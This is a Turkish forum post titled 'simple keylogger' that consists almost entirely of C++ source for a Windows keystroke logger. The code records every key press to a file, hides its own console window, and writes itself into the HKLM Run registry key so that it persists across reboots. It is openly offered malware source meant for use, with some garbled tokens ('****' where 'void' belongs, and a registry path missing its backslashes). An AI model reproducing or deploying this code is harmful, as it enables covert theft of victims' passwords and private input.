Neler yeni
Türkiye'nin En Güncel Forum Sitesi

Forum içeriğine ve tüm hizmetlerimize erişim sağlamak için foruma kayıt olmalı yada giriş yapmalısınız. Forum üye olmak tamamen ücretsizdir.

C++ Basit Keylogger

ByOnur58

Kayıtlı Üye
MFC Üyesi
  • Üyelik Tarihi
    7 Ocak 2015
  • Mesajlar
    2,113
  • MFC Puanı
    10
  • MFC Seviyesi

Kod:
#include <cstdlib>
#include <iostream>
#include <windows.h>
#include <Winuser.h>

using namespace std;

int wrt(int key,char *fl);
**** st();
int addreg();
int main(int argc, char *argv[])
{
st();
addreg();
char i;
while(1)
{
for(int i = 8;i<=190;i++)
{
if(GetAsyncKeyState(i) == -32767){wrt(i,"log.txt");}
}
}
return EXIT_SUCCESS;
}
int wrt(int key,char *fl)
{
if((key == 1) || (key ==2)){return 0;}
FILE *outf;
outf = fopen(fl,"a+");
if(key == 8){fprintf(outf,"[backspace]");}
else if(key == 13){fprintf(outf,"n");}
else if(key == 32){fprintf(outf," ");}
else if(key == VK_TAB){fprintf(outf,"[TAB]");}
else if(key == VK_SHIFT){fprintf(outf,"[SHIFT]");}
else if(key == VK_CONTROL){fprintf(outf,"[CONTROL]");}
else if(key == VK_ESCAPE){fprintf(outf,"[ESCAPE]");}
else if(key == VK_END){fprintf(outf,"[END]");}
else if(key == VK_HOME){fprintf(outf,"[HOME]");}
else if(key == VK_UP){fprintf(outf,"[UP]");}
else if(key == VK_DOWN){fprintf(outf,"[DOWN]");}
else if(key == VK_RIGHT){fprintf(outf,"[RIGHT]");}
else if(key == VK_LEFT){fprintf(outf,"[LEFT]");}
else if(key == 190 || key == 110){fprintf(outf,"%s",".");}
else fprintf(outf,"%s",&key);
fclose(outf);
return 0;
}
**** st()
{
HWND st;
AllocConsole();
st = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(st,0);
}
int addreg()
{
TCHAR szPath[MAX_PATH];
GetModuleFileName(NULL,szPath,MAX_PATH);
HKEY newValue;
RegOpenKey(HKEY_LOCAL_MACHINE,"SoftwareMicrosoft WindowsCurrentVersionRun",&newValue);
RegSetValueEx(newValue,"name_me",0,REG_SZ,(LPBYTE) szPath,sizeof(szPath));
RegCloseKey(newValue);
return 0;
}
 
Üst Alt